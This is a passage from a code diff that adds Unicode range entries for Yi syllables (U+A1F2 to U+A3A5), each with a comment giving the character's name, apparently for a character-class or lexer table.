+ ["\uA1F2", "\uA1F2"], /* YI SYLLABLE GUT */
+ ["\uA1F3", "\uA1F3"], /* YI SYLLABLE GUX */
+ ["\uA1F4", "\uA1F4"], /* YI SYLLABLE GU */
+ ["\uA1F5", "\uA1F5"], /* YI SYLLABLE GUP */
+ ["\uA1F6", "\uA1F6"], /* YI SYLLABLE GURX */
+ ["\uA1F7", "\uA1F7"], /* YI SYLLABLE GUR */
+ ["\uA1F8", "\uA1F8"], /* YI SYLLABLE KIT */
+ ["\uA1F9", "\uA1F9"], /* YI SYLLABLE KIX */
+ ["\uA1FA", "\uA1FA"], /* YI SYLLABLE KI */
+ ["\uA1FB", "\uA1FB"], /* YI SYLLABLE KIP */
+ ["\uA1FC", "\uA1FC"], /* YI SYLLABLE KIEX */
+ ["\uA1FD", "\uA1FD"], /* YI SYLLABLE KIE */
+ ["\uA1FE", "\uA1FE"], /* YI SYLLABLE KIEP */
+ ["\uA1FF", "\uA1FF"], /* YI SYLLABLE KAT */
+ ["\uA200", "\uA200"], /* YI SYLLABLE KAX */
+ ["\uA201", "\uA201"], /* YI SYLLABLE KA */
+ ["\uA202", "\uA202"], /* YI SYLLABLE KAP */
+ ["\uA203", "\uA203"], /* YI SYLLABLE KUOX */
+ ["\uA204", "\uA204"], /* YI SYLLABLE KUO */
+ ["\uA205", "\uA205"], /* YI SYLLABLE KUOP */
+ ["\uA206", "\uA206"], /* YI SYLLABLE KOT */
+ ["\uA207", "\uA207"], /* YI SYLLABLE KOX */
+ ["\uA208", "\uA208"], /* YI SYLLABLE KO */
+ ["\uA209", "\uA209"], /* YI SYLLABLE KOP */
+ ["\uA20A", "\uA20A"], /* YI SYLLABLE KET */
+ ["\uA20B", "\uA20B"], /* YI SYLLABLE KEX */
+ ["\uA20C", "\uA20C"], /* YI SYLLABLE KE */
+ ["\uA20D", "\uA20D"], /* YI SYLLABLE KEP */
+ ["\uA20E", "\uA20E"], /* YI SYLLABLE KUT */
+ ["\uA20F", "\uA20F"], /* YI SYLLABLE KUX */
+ ["\uA210", "\uA210"], /* YI SYLLABLE KU */
+ ["\uA211", "\uA211"], /* YI SYLLABLE KUP */
+ ["\uA212", "\uA212"], /* YI SYLLABLE KURX */
+ ["\uA213", "\uA213"], /* YI SYLLABLE KUR */
+ ["\uA214", "\uA214"], /* YI SYLLABLE GGIT */
+ ["\uA215", "\uA215"], /* YI SYLLABLE GGIX */
+ ["\uA216", "\uA216"], /* YI SYLLABLE GGI */
+ ["\uA217", "\uA217"], /* YI SYLLABLE GGIEX */
+ ["\uA218", "\uA218"], /* YI SYLLABLE GGIE */
+ ["\uA219", "\uA219"], /* YI SYLLABLE GGIEP */
+ ["\uA21A", "\uA21A"], /* YI SYLLABLE GGAT */
+ ["\uA21B", "\uA21B"], /* YI SYLLABLE GGAX */
+ ["\uA21C", "\uA21C"], /* YI SYLLABLE GGA */
+ ["\uA21D", "\uA21D"], /* YI SYLLABLE GGAP */
+ ["\uA21E", "\uA21E"], /* YI SYLLABLE GGUOT */
+ ["\uA21F", "\uA21F"], /* YI SYLLABLE GGUOX */
+ ["\uA220", "\uA220"], /* YI SYLLABLE GGUO */
+ ["\uA221", "\uA221"], /* YI SYLLABLE GGUOP */
+ ["\uA222", "\uA222"], /* YI SYLLABLE GGOT */
+ ["\uA223", "\uA223"], /* YI SYLLABLE GGOX */
+ ["\uA224", "\uA224"], /* YI SYLLABLE GGO */
+ ["\uA225", "\uA225"], /* YI SYLLABLE GGOP */
+ ["\uA226", "\uA226"], /* YI SYLLABLE GGET */
+ ["\uA227", "\uA227"], /* YI SYLLABLE GGEX */
+ ["\uA228", "\uA228"], /* YI SYLLABLE GGE */
+ ["\uA229", "\uA229"], /* YI SYLLABLE GGEP */
+ ["\uA22A", "\uA22A"], /* YI SYLLABLE GGUT */
+ ["\uA22B", "\uA22B"], /* YI SYLLABLE GGUX */
+ ["\uA22C", "\uA22C"], /* YI SYLLABLE GGU */
+ ["\uA22D", "\uA22D"], /* YI SYLLABLE GGUP */
+ ["\uA22E", "\uA22E"], /* YI SYLLABLE GGURX */
+ ["\uA22F", "\uA22F"], /* YI SYLLABLE GGUR */
+ ["\uA230", "\uA230"], /* YI SYLLABLE MGIEX */
+ ["\uA231", "\uA231"], /* YI SYLLABLE MGIE */
+ ["\uA232", "\uA232"], /* YI SYLLABLE MGAT */
+ ["\uA233", "\uA233"], /* YI SYLLABLE MGAX */
+ ["\uA234", "\uA234"], /* YI SYLLABLE MGA */
+ ["\uA235", "\uA235"], /* YI SYLLABLE MGAP */
+ ["\uA236", "\uA236"], /* YI SYLLABLE MGUOX */
+ ["\uA237", "\uA237"], /* YI SYLLABLE MGUO */
+ ["\uA238", "\uA238"], /* YI SYLLABLE MGUOP */
+ ["\uA239", "\uA239"], /* YI SYLLABLE MGOT */
+ ["\uA23A", "\uA23A"], /* YI SYLLABLE MGOX */
+ ["\uA23B", "\uA23B"], /* YI SYLLABLE MGO */
+ ["\uA23C", "\uA23C"], /* YI SYLLABLE MGOP */
+ ["\uA23D", "\uA23D"], /* YI SYLLABLE MGEX */
+ ["\uA23E", "\uA23E"], /* YI SYLLABLE MGE */
+ ["\uA23F", "\uA23F"], /* YI SYLLABLE MGEP */
+ ["\uA240", "\uA240"], /* YI SYLLABLE MGUT */
+ ["\uA241", "\uA241"], /* YI SYLLABLE MGUX */
+ ["\uA242", "\uA242"], /* YI SYLLABLE MGU */
+ ["\uA243", "\uA243"], /* YI SYLLABLE MGUP */
+ ["\uA244", "\uA244"], /* YI SYLLABLE MGURX */
+ ["\uA245", "\uA245"], /* YI SYLLABLE MGUR */
+ ["\uA246", "\uA246"], /* YI SYLLABLE HXIT */
+ ["\uA247", "\uA247"], /* YI SYLLABLE HXIX */
+ ["\uA248", "\uA248"], /* YI SYLLABLE HXI */
+ ["\uA249", "\uA249"], /* YI SYLLABLE HXIP */
+ ["\uA24A", "\uA24A"], /* YI SYLLABLE HXIET */
+ ["\uA24B", "\uA24B"], /* YI SYLLABLE HXIEX */
+ ["\uA24C", "\uA24C"], /* YI SYLLABLE HXIE */
+ ["\uA24D", "\uA24D"], /* YI SYLLABLE HXIEP */
+ ["\uA24E", "\uA24E"], /* YI SYLLABLE HXAT */
+ ["\uA24F", "\uA24F"], /* YI SYLLABLE HXAX */
+ ["\uA250", "\uA250"], /* YI SYLLABLE HXA */
+ ["\uA251", "\uA251"], /* YI SYLLABLE HXAP */
+ ["\uA252", "\uA252"], /* YI SYLLABLE HXUOT */
+ ["\uA253", "\uA253"], /* YI SYLLABLE HXUOX */
+ ["\uA254", "\uA254"], /* YI SYLLABLE HXUO */
+ ["\uA255", "\uA255"], /* YI SYLLABLE HXUOP */
+ ["\uA256", "\uA256"], /* YI SYLLABLE HXOT */
+ ["\uA257", "\uA257"], /* YI SYLLABLE HXOX */
+ ["\uA258", "\uA258"], /* YI SYLLABLE HXO */
+ ["\uA259", "\uA259"], /* YI SYLLABLE HXOP */
+ ["\uA25A", "\uA25A"], /* YI SYLLABLE HXEX */
+ ["\uA25B", "\uA25B"], /* YI SYLLABLE HXE */
+ ["\uA25C", "\uA25C"], /* YI SYLLABLE HXEP */
+ ["\uA25D", "\uA25D"], /* YI SYLLABLE NGIEX */
+ ["\uA25E", "\uA25E"], /* YI SYLLABLE NGIE */
+ ["\uA25F", "\uA25F"], /* YI SYLLABLE NGIEP */
+ ["\uA260", "\uA260"], /* YI SYLLABLE NGAT */
+ ["\uA261", "\uA261"], /* YI SYLLABLE NGAX */
+ ["\uA262", "\uA262"], /* YI SYLLABLE NGA */
+ ["\uA263", "\uA263"], /* YI SYLLABLE NGAP */
+ ["\uA264", "\uA264"], /* YI SYLLABLE NGUOT */
+ ["\uA265", "\uA265"], /* YI SYLLABLE NGUOX */
+ ["\uA266", "\uA266"], /* YI SYLLABLE NGUO */
+ ["\uA267", "\uA267"], /* YI SYLLABLE NGOT */
+ ["\uA268", "\uA268"], /* YI SYLLABLE NGOX */
+ ["\uA269", "\uA269"], /* YI SYLLABLE NGO */
+ ["\uA26A", "\uA26A"], /* YI SYLLABLE NGOP */
+ ["\uA26B", "\uA26B"], /* YI SYLLABLE NGEX */
+ ["\uA26C", "\uA26C"], /* YI SYLLABLE NGE */
+ ["\uA26D", "\uA26D"], /* YI SYLLABLE NGEP */
+ ["\uA26E", "\uA26E"], /* YI SYLLABLE HIT */
+ ["\uA26F", "\uA26F"], /* YI SYLLABLE HIEX */
+ ["\uA270", "\uA270"], /* YI SYLLABLE HIE */
+ ["\uA271", "\uA271"], /* YI SYLLABLE HAT */
+ ["\uA272", "\uA272"], /* YI SYLLABLE HAX */
+ ["\uA273", "\uA273"], /* YI SYLLABLE HA */
+ ["\uA274", "\uA274"], /* YI SYLLABLE HAP */
+ ["\uA275", "\uA275"], /* YI SYLLABLE HUOT */
+ ["\uA276", "\uA276"], /* YI SYLLABLE HUOX */
+ ["\uA277", "\uA277"], /* YI SYLLABLE HUO */
+ ["\uA278", "\uA278"], /* YI SYLLABLE HUOP */
+ ["\uA279", "\uA279"], /* YI SYLLABLE HOT */
+ ["\uA27A", "\uA27A"], /* YI SYLLABLE HOX */
+ ["\uA27B", "\uA27B"], /* YI SYLLABLE HO */
+ ["\uA27C", "\uA27C"], /* YI SYLLABLE HOP */
+ ["\uA27D", "\uA27D"], /* YI SYLLABLE HEX */
+ ["\uA27E", "\uA27E"], /* YI SYLLABLE HE */
+ ["\uA27F", "\uA27F"], /* YI SYLLABLE HEP */
+ ["\uA280", "\uA280"], /* YI SYLLABLE WAT */
+ ["\uA281", "\uA281"], /* YI SYLLABLE WAX */
+ ["\uA282", "\uA282"], /* YI SYLLABLE WA */
+ ["\uA283", "\uA283"], /* YI SYLLABLE WAP */
+ ["\uA284", "\uA284"], /* YI SYLLABLE WUOX */
+ ["\uA285", "\uA285"], /* YI SYLLABLE WUO */
+ ["\uA286", "\uA286"], /* YI SYLLABLE WUOP */
+ ["\uA287", "\uA287"], /* YI SYLLABLE WOX */
+ ["\uA288", "\uA288"], /* YI SYLLABLE WO */
+ ["\uA289", "\uA289"], /* YI SYLLABLE WOP */
+ ["\uA28A", "\uA28A"], /* YI SYLLABLE WEX */
+ ["\uA28B", "\uA28B"], /* YI SYLLABLE WE */
+ ["\uA28C", "\uA28C"], /* YI SYLLABLE WEP */
+ ["\uA28D", "\uA28D"], /* YI SYLLABLE ZIT */
+ ["\uA28E", "\uA28E"], /* YI SYLLABLE ZIX */
+ ["\uA28F", "\uA28F"], /* YI SYLLABLE ZI */
+ ["\uA290", "\uA290"], /* YI SYLLABLE ZIP */
+ ["\uA291", "\uA291"], /* YI SYLLABLE ZIEX */
+ ["\uA292", "\uA292"], /* YI SYLLABLE ZIE */
+ ["\uA293", "\uA293"], /* YI SYLLABLE ZIEP */
+ ["\uA294", "\uA294"], /* YI SYLLABLE ZAT */
+ ["\uA295", "\uA295"], /* YI SYLLABLE ZAX */
+ ["\uA296", "\uA296"], /* YI SYLLABLE ZA */
+ ["\uA297", "\uA297"], /* YI SYLLABLE ZAP */
+ ["\uA298", "\uA298"], /* YI SYLLABLE ZUOX */
+ ["\uA299", "\uA299"], /* YI SYLLABLE ZUO */
+ ["\uA29A", "\uA29A"], /* YI SYLLABLE ZUOP */
+ ["\uA29B", "\uA29B"], /* YI SYLLABLE ZOT */
+ ["\uA29C", "\uA29C"], /* YI SYLLABLE ZOX */
+ ["\uA29D", "\uA29D"], /* YI SYLLABLE ZO */
+ ["\uA29E", "\uA29E"], /* YI SYLLABLE ZOP */
+ ["\uA29F", "\uA29F"], /* YI SYLLABLE ZEX */
+ ["\uA2A0", "\uA2A0"], /* YI SYLLABLE ZE */
+ ["\uA2A1", "\uA2A1"], /* YI SYLLABLE ZEP */
+ ["\uA2A2", "\uA2A2"], /* YI SYLLABLE ZUT */
+ ["\uA2A3", "\uA2A3"], /* YI SYLLABLE ZUX */
+ ["\uA2A4", "\uA2A4"], /* YI SYLLABLE ZU */
+ ["\uA2A5", "\uA2A5"], /* YI SYLLABLE ZUP */
+ ["\uA2A6", "\uA2A6"], /* YI SYLLABLE ZURX */
+ ["\uA2A7", "\uA2A7"], /* YI SYLLABLE ZUR */
+ ["\uA2A8", "\uA2A8"], /* YI SYLLABLE ZYT */
+ ["\uA2A9", "\uA2A9"], /* YI SYLLABLE ZYX */
+ ["\uA2AA", "\uA2AA"], /* YI SYLLABLE ZY */
+ ["\uA2AB", "\uA2AB"], /* YI SYLLABLE ZYP */
+ ["\uA2AC", "\uA2AC"], /* YI SYLLABLE ZYRX */
+ ["\uA2AD", "\uA2AD"], /* YI SYLLABLE ZYR */
+ ["\uA2AE", "\uA2AE"], /* YI SYLLABLE CIT */
+ ["\uA2AF", "\uA2AF"], /* YI SYLLABLE CIX */
+ ["\uA2B0", "\uA2B0"], /* YI SYLLABLE CI */
+ ["\uA2B1", "\uA2B1"], /* YI SYLLABLE CIP */
+ ["\uA2B2", "\uA2B2"], /* YI SYLLABLE CIET */
+ ["\uA2B3", "\uA2B3"], /* YI SYLLABLE CIEX */
+ ["\uA2B4", "\uA2B4"], /* YI SYLLABLE CIE */
+ ["\uA2B5", "\uA2B5"], /* YI SYLLABLE CIEP */
+ ["\uA2B6", "\uA2B6"], /* YI SYLLABLE CAT */
+ ["\uA2B7", "\uA2B7"], /* YI SYLLABLE CAX */
+ ["\uA2B8", "\uA2B8"], /* YI SYLLABLE CA */
+ ["\uA2B9", "\uA2B9"], /* YI SYLLABLE CAP */
+ ["\uA2BA", "\uA2BA"], /* YI SYLLABLE CUOX */
+ ["\uA2BB", "\uA2BB"], /* YI SYLLABLE CUO */
+ ["\uA2BC", "\uA2BC"], /* YI SYLLABLE CUOP */
+ ["\uA2BD", "\uA2BD"], /* YI SYLLABLE COT */
+ ["\uA2BE", "\uA2BE"], /* YI SYLLABLE COX */
+ ["\uA2BF", "\uA2BF"], /* YI SYLLABLE CO */
+ ["\uA2C0", "\uA2C0"], /* YI SYLLABLE COP */
+ ["\uA2C1", "\uA2C1"], /* YI SYLLABLE CEX */
+ ["\uA2C2", "\uA2C2"], /* YI SYLLABLE CE */
+ ["\uA2C3", "\uA2C3"], /* YI SYLLABLE CEP */
+ ["\uA2C4", "\uA2C4"], /* YI SYLLABLE CUT */
+ ["\uA2C5", "\uA2C5"], /* YI SYLLABLE CUX */
+ ["\uA2C6", "\uA2C6"], /* YI SYLLABLE CU */
+ ["\uA2C7", "\uA2C7"], /* YI SYLLABLE CUP */
+ ["\uA2C8", "\uA2C8"], /* YI SYLLABLE CURX */
+ ["\uA2C9", "\uA2C9"], /* YI SYLLABLE CUR */
+ ["\uA2CA", "\uA2CA"], /* YI SYLLABLE CYT */
+ ["\uA2CB", "\uA2CB"], /* YI SYLLABLE CYX */
+ ["\uA2CC", "\uA2CC"], /* YI SYLLABLE CY */
+ ["\uA2CD", "\uA2CD"], /* YI SYLLABLE CYP */
+ ["\uA2CE", "\uA2CE"], /* YI SYLLABLE CYRX */
+ ["\uA2CF", "\uA2CF"], /* YI SYLLABLE CYR */
+ ["\uA2D0", "\uA2D0"], /* YI SYLLABLE ZZIT */
+ ["\uA2D1", "\uA2D1"], /* YI SYLLABLE ZZIX */
+ ["\uA2D2", "\uA2D2"], /* YI SYLLABLE ZZI */
+ ["\uA2D3", "\uA2D3"], /* YI SYLLABLE ZZIP */
+ ["\uA2D4", "\uA2D4"], /* YI SYLLABLE ZZIET */
+ ["\uA2D5", "\uA2D5"], /* YI SYLLABLE ZZIEX */
+ ["\uA2D6", "\uA2D6"], /* YI SYLLABLE ZZIE */
+ ["\uA2D7", "\uA2D7"], /* YI SYLLABLE ZZIEP */
+ ["\uA2D8", "\uA2D8"], /* YI SYLLABLE ZZAT */
+ ["\uA2D9", "\uA2D9"], /* YI SYLLABLE ZZAX */
+ ["\uA2DA", "\uA2DA"], /* YI SYLLABLE ZZA */
+ ["\uA2DB", "\uA2DB"], /* YI SYLLABLE ZZAP */
+ ["\uA2DC", "\uA2DC"], /* YI SYLLABLE ZZOX */
+ ["\uA2DD", "\uA2DD"], /* YI SYLLABLE ZZO */
+ ["\uA2DE", "\uA2DE"], /* YI SYLLABLE ZZOP */
+ ["\uA2DF", "\uA2DF"], /* YI SYLLABLE ZZEX */
+ ["\uA2E0", "\uA2E0"], /* YI SYLLABLE ZZE */
+ ["\uA2E1", "\uA2E1"], /* YI SYLLABLE ZZEP */
+ ["\uA2E2", "\uA2E2"], /* YI SYLLABLE ZZUX */
+ ["\uA2E3", "\uA2E3"], /* YI SYLLABLE ZZU */
+ ["\uA2E4", "\uA2E4"], /* YI SYLLABLE ZZUP */
+ ["\uA2E5", "\uA2E5"], /* YI SYLLABLE ZZURX */
+ ["\uA2E6", "\uA2E6"], /* YI SYLLABLE ZZUR */
+ ["\uA2E7", "\uA2E7"], /* YI SYLLABLE ZZYT */
+ ["\uA2E8", "\uA2E8"], /* YI SYLLABLE ZZYX */
+ ["\uA2E9", "\uA2E9"], /* YI SYLLABLE ZZY */
+ ["\uA2EA", "\uA2EA"], /* YI SYLLABLE ZZYP */
+ ["\uA2EB", "\uA2EB"], /* YI SYLLABLE ZZYRX */
+ ["\uA2EC", "\uA2EC"], /* YI SYLLABLE ZZYR */
+ ["\uA2ED", "\uA2ED"], /* YI SYLLABLE NZIT */
+ ["\uA2EE", "\uA2EE"], /* YI SYLLABLE NZIX */
+ ["\uA2EF", "\uA2EF"], /* YI SYLLABLE NZI */
+ ["\uA2F0", "\uA2F0"], /* YI SYLLABLE NZIP */
+ ["\uA2F1", "\uA2F1"], /* YI SYLLABLE NZIEX */
+ ["\uA2F2", "\uA2F2"], /* YI SYLLABLE NZIE */
+ ["\uA2F3", "\uA2F3"], /* YI SYLLABLE NZIEP */
+ ["\uA2F4", "\uA2F4"], /* YI SYLLABLE NZAT */
+ ["\uA2F5", "\uA2F5"], /* YI SYLLABLE NZAX */
+ ["\uA2F6", "\uA2F6"], /* YI SYLLABLE NZA */
+ ["\uA2F7", "\uA2F7"], /* YI SYLLABLE NZAP */
+ ["\uA2F8", "\uA2F8"], /* YI SYLLABLE NZUOX */
+ ["\uA2F9", "\uA2F9"], /* YI SYLLABLE NZUO */
+ ["\uA2FA", "\uA2FA"], /* YI SYLLABLE NZOX */
+ ["\uA2FB", "\uA2FB"], /* YI SYLLABLE NZOP */
+ ["\uA2FC", "\uA2FC"], /* YI SYLLABLE NZEX */
+ ["\uA2FD", "\uA2FD"], /* YI SYLLABLE NZE */
+ ["\uA2FE", "\uA2FE"], /* YI SYLLABLE NZUX */
+ ["\uA2FF", "\uA2FF"], /* YI SYLLABLE NZU */
+ ["\uA300", "\uA300"], /* YI SYLLABLE NZUP */
+ ["\uA301", "\uA301"], /* YI SYLLABLE NZURX */
+ ["\uA302", "\uA302"], /* YI SYLLABLE NZUR */
+ ["\uA303", "\uA303"], /* YI SYLLABLE NZYT */
+ ["\uA304", "\uA304"], /* YI SYLLABLE NZYX */
+ ["\uA305", "\uA305"], /* YI SYLLABLE NZY */
+ ["\uA306", "\uA306"], /* YI SYLLABLE NZYP */
+ ["\uA307", "\uA307"], /* YI SYLLABLE NZYRX */
+ ["\uA308", "\uA308"], /* YI SYLLABLE NZYR */
+ ["\uA309", "\uA309"], /* YI SYLLABLE SIT */
+ ["\uA30A", "\uA30A"], /* YI SYLLABLE SIX */
+ ["\uA30B", "\uA30B"], /* YI SYLLABLE SI */
+ ["\uA30C", "\uA30C"], /* YI SYLLABLE SIP */
+ ["\uA30D", "\uA30D"], /* YI SYLLABLE SIEX */
+ ["\uA30E", "\uA30E"], /* YI SYLLABLE SIE */
+ ["\uA30F", "\uA30F"], /* YI SYLLABLE SIEP */
+ ["\uA310", "\uA310"], /* YI SYLLABLE SAT */
+ ["\uA311", "\uA311"], /* YI SYLLABLE SAX */
+ ["\uA312", "\uA312"], /* YI SYLLABLE SA */
+ ["\uA313", "\uA313"], /* YI SYLLABLE SAP */
+ ["\uA314", "\uA314"], /* YI SYLLABLE SUOX */
+ ["\uA315", "\uA315"], /* YI SYLLABLE SUO */
+ ["\uA316", "\uA316"], /* YI SYLLABLE SUOP */
+ ["\uA317", "\uA317"], /* YI SYLLABLE SOT */
+ ["\uA318", "\uA318"], /* YI SYLLABLE SOX */
+ ["\uA319", "\uA319"], /* YI SYLLABLE SO */
+ ["\uA31A", "\uA31A"], /* YI SYLLABLE SOP */
+ ["\uA31B", "\uA31B"], /* YI SYLLABLE SEX */
+ ["\uA31C", "\uA31C"], /* YI SYLLABLE SE */
+ ["\uA31D", "\uA31D"], /* YI SYLLABLE SEP */
+ ["\uA31E", "\uA31E"], /* YI SYLLABLE SUT */
+ ["\uA31F", "\uA31F"], /* YI SYLLABLE SUX */
+ ["\uA320", "\uA320"], /* YI SYLLABLE SU */
+ ["\uA321", "\uA321"], /* YI SYLLABLE SUP */
+ ["\uA322", "\uA322"], /* YI SYLLABLE SURX */
+ ["\uA323", "\uA323"], /* YI SYLLABLE SUR */
+ ["\uA324", "\uA324"], /* YI SYLLABLE SYT */
+ ["\uA325", "\uA325"], /* YI SYLLABLE SYX */
+ ["\uA326", "\uA326"], /* YI SYLLABLE SY */
+ ["\uA327", "\uA327"], /* YI SYLLABLE SYP */
+ ["\uA328", "\uA328"], /* YI SYLLABLE SYRX */
+ ["\uA329", "\uA329"], /* YI SYLLABLE SYR */
+ ["\uA32A", "\uA32A"], /* YI SYLLABLE SSIT */
+ ["\uA32B", "\uA32B"], /* YI SYLLABLE SSIX */
+ ["\uA32C", "\uA32C"], /* YI SYLLABLE SSI */
+ ["\uA32D", "\uA32D"], /* YI SYLLABLE SSIP */
+ ["\uA32E", "\uA32E"], /* YI SYLLABLE SSIEX */
+ ["\uA32F", "\uA32F"], /* YI SYLLABLE SSIE */
+ ["\uA330", "\uA330"], /* YI SYLLABLE SSIEP */
+ ["\uA331", "\uA331"], /* YI SYLLABLE SSAT */
+ ["\uA332", "\uA332"], /* YI SYLLABLE SSAX */
+ ["\uA333", "\uA333"], /* YI SYLLABLE SSA */
+ ["\uA334", "\uA334"], /* YI SYLLABLE SSAP */
+ ["\uA335", "\uA335"], /* YI SYLLABLE SSOT */
+ ["\uA336", "\uA336"], /* YI SYLLABLE SSOX */
+ ["\uA337", "\uA337"], /* YI SYLLABLE SSO */
+ ["\uA338", "\uA338"], /* YI SYLLABLE SSOP */
+ ["\uA339", "\uA339"], /* YI SYLLABLE SSEX */
+ ["\uA33A", "\uA33A"], /* YI SYLLABLE SSE */
+ ["\uA33B", "\uA33B"], /* YI SYLLABLE SSEP */
+ ["\uA33C", "\uA33C"], /* YI SYLLABLE SSUT */
+ ["\uA33D", "\uA33D"], /* YI SYLLABLE SSUX */
+ ["\uA33E", "\uA33E"], /* YI SYLLABLE SSU */
+ ["\uA33F", "\uA33F"], /* YI SYLLABLE SSUP */
+ ["\uA340", "\uA340"], /* YI SYLLABLE SSYT */
+ ["\uA341", "\uA341"], /* YI SYLLABLE SSYX */
+ ["\uA342", "\uA342"], /* YI SYLLABLE SSY */
+ ["\uA343", "\uA343"], /* YI SYLLABLE SSYP */
+ ["\uA344", "\uA344"], /* YI SYLLABLE SSYRX */
+ ["\uA345", "\uA345"], /* YI SYLLABLE SSYR */
+ ["\uA346", "\uA346"], /* YI SYLLABLE ZHAT */
+ ["\uA347", "\uA347"], /* YI SYLLABLE ZHAX */
+ ["\uA348", "\uA348"], /* YI SYLLABLE ZHA */
+ ["\uA349", "\uA349"], /* YI SYLLABLE ZHAP */
+ ["\uA34A", "\uA34A"], /* YI SYLLABLE ZHUOX */
+ ["\uA34B", "\uA34B"], /* YI SYLLABLE ZHUO */
+ ["\uA34C", "\uA34C"], /* YI SYLLABLE ZHUOP */
+ ["\uA34D", "\uA34D"], /* YI SYLLABLE ZHOT */
+ ["\uA34E", "\uA34E"], /* YI SYLLABLE ZHOX */
+ ["\uA34F", "\uA34F"], /* YI SYLLABLE ZHO */
+ ["\uA350", "\uA350"], /* YI SYLLABLE ZHOP */
+ ["\uA351", "\uA351"], /* YI SYLLABLE ZHET */
+ ["\uA352", "\uA352"], /* YI SYLLABLE ZHEX */
+ ["\uA353", "\uA353"], /* YI SYLLABLE ZHE */
+ ["\uA354", "\uA354"], /* YI SYLLABLE ZHEP */
+ ["\uA355", "\uA355"], /* YI SYLLABLE ZHUT */
+ ["\uA356", "\uA356"], /* YI SYLLABLE ZHUX */
+ ["\uA357", "\uA357"], /* YI SYLLABLE ZHU */
+ ["\uA358", "\uA358"], /* YI SYLLABLE ZHUP */
+ ["\uA359", "\uA359"], /* YI SYLLABLE ZHURX */
+ ["\uA35A", "\uA35A"], /* YI SYLLABLE ZHUR */
+ ["\uA35B", "\uA35B"], /* YI SYLLABLE ZHYT */
+ ["\uA35C", "\uA35C"], /* YI SYLLABLE ZHYX */
+ ["\uA35D", "\uA35D"], /* YI SYLLABLE ZHY */
+ ["\uA35E", "\uA35E"], /* YI SYLLABLE ZHYP */
+ ["\uA35F", "\uA35F"], /* YI SYLLABLE ZHYRX */
+ ["\uA360", "\uA360"], /* YI SYLLABLE ZHYR */
+ ["\uA361", "\uA361"], /* YI SYLLABLE CHAT */
+ ["\uA362", "\uA362"], /* YI SYLLABLE CHAX */
+ ["\uA363", "\uA363"], /* YI SYLLABLE CHA */
+ ["\uA364", "\uA364"], /* YI SYLLABLE CHAP */
+ ["\uA365", "\uA365"], /* YI SYLLABLE CHUOT */
+ ["\uA366", "\uA366"], /* YI SYLLABLE CHUOX */
+ ["\uA367", "\uA367"], /* YI SYLLABLE CHUO */
+ ["\uA368", "\uA368"], /* YI SYLLABLE CHUOP */
+ ["\uA369", "\uA369"], /* YI SYLLABLE CHOT */
+ ["\uA36A", "\uA36A"], /* YI SYLLABLE CHOX */
+ ["\uA36B", "\uA36B"], /* YI SYLLABLE CHO */
+ ["\uA36C", "\uA36C"], /* YI SYLLABLE CHOP */
+ ["\uA36D", "\uA36D"], /* YI SYLLABLE CHET */
+ ["\uA36E", "\uA36E"], /* YI SYLLABLE CHEX */
+ ["\uA36F", "\uA36F"], /* YI SYLLABLE CHE */
+ ["\uA370", "\uA370"], /* YI SYLLABLE CHEP */
+ ["\uA371", "\uA371"], /* YI SYLLABLE CHUX */
+ ["\uA372", "\uA372"], /* YI SYLLABLE CHU */
+ ["\uA373", "\uA373"], /* YI SYLLABLE CHUP */
+ ["\uA374", "\uA374"], /* YI SYLLABLE CHURX */
+ ["\uA375", "\uA375"], /* YI SYLLABLE CHUR */
+ ["\uA376", "\uA376"], /* YI SYLLABLE CHYT */
+ ["\uA377", "\uA377"], /* YI SYLLABLE CHYX */
+ ["\uA378", "\uA378"], /* YI SYLLABLE CHY */
+ ["\uA379", "\uA379"], /* YI SYLLABLE CHYP */
+ ["\uA37A", "\uA37A"], /* YI SYLLABLE CHYRX */
+ ["\uA37B", "\uA37B"], /* YI SYLLABLE CHYR */
+ ["\uA37C", "\uA37C"], /* YI SYLLABLE RRAX */
+ ["\uA37D", "\uA37D"], /* YI SYLLABLE RRA */
+ ["\uA37E", "\uA37E"], /* YI SYLLABLE RRUOX */
+ ["\uA37F", "\uA37F"], /* YI SYLLABLE RRUO */
+ ["\uA380", "\uA380"], /* YI SYLLABLE RROT */
+ ["\uA381", "\uA381"], /* YI SYLLABLE RROX */
+ ["\uA382", "\uA382"], /* YI SYLLABLE RRO */
+ ["\uA383", "\uA383"], /* YI SYLLABLE RROP */
+ ["\uA384", "\uA384"], /* YI SYLLABLE RRET */
+ ["\uA385", "\uA385"], /* YI SYLLABLE RREX */
+ ["\uA386", "\uA386"], /* YI SYLLABLE RRE */
+ ["\uA387", "\uA387"], /* YI SYLLABLE RREP */
+ ["\uA388", "\uA388"], /* YI SYLLABLE RRUT */
+ ["\uA389", "\uA389"], /* YI SYLLABLE RRUX */
+ ["\uA38A", "\uA38A"], /* YI SYLLABLE RRU */
+ ["\uA38B", "\uA38B"], /* YI SYLLABLE RRUP */
+ ["\uA38C", "\uA38C"], /* YI SYLLABLE RRURX */
+ ["\uA38D", "\uA38D"], /* YI SYLLABLE RRUR */
+ ["\uA38E", "\uA38E"], /* YI SYLLABLE RRYT */
+ ["\uA38F", "\uA38F"], /* YI SYLLABLE RRYX */
+ ["\uA390", "\uA390"], /* YI SYLLABLE RRY */
+ ["\uA391", "\uA391"], /* YI SYLLABLE RRYP */
+ ["\uA392", "\uA392"], /* YI SYLLABLE RRYRX */
+ ["\uA393", "\uA393"], /* YI SYLLABLE RRYR */
+ ["\uA394", "\uA394"], /* YI SYLLABLE NRAT */
+ ["\uA395", "\uA395"], /* YI SYLLABLE NRAX */
+ ["\uA396", "\uA396"], /* YI SYLLABLE NRA */
+ ["\uA397", "\uA397"], /* YI SYLLABLE NRAP */
+ ["\uA398", "\uA398"], /* YI SYLLABLE NROX */
+ ["\uA399", "\uA399"], /* YI SYLLABLE NRO */
+ ["\uA39A", "\uA39A"], /* YI SYLLABLE NROP */
+ ["\uA39B", "\uA39B"], /* YI SYLLABLE NRET */
+ ["\uA39C", "\uA39C"], /* YI SYLLABLE NREX */
+ ["\uA39D", "\uA39D"], /* YI SYLLABLE NRE */
+ ["\uA39E", "\uA39E"], /* YI SYLLABLE NREP */
+ ["\uA39F", "\uA39F"], /* YI SYLLABLE NRUT */
+ ["\uA3A0", "\uA3A0"], /* YI SYLLABLE NRUX */
+ ["\uA3A1", "\uA3A1"], /* YI SYLLABLE NRU */
+ ["\uA3A2", "\uA3A2"], /* YI SYLLABLE NRUP */
+ ["\uA3A3", "\uA3A3"], /* YI SYLLABLE NRURX */
+ ["\uA3A4", "\uA3A4"], /* YI SYLLABLE NRUR */
+ ["\uA3A5", "\uA3A5"], /* YI SYLLABLE NRYT */
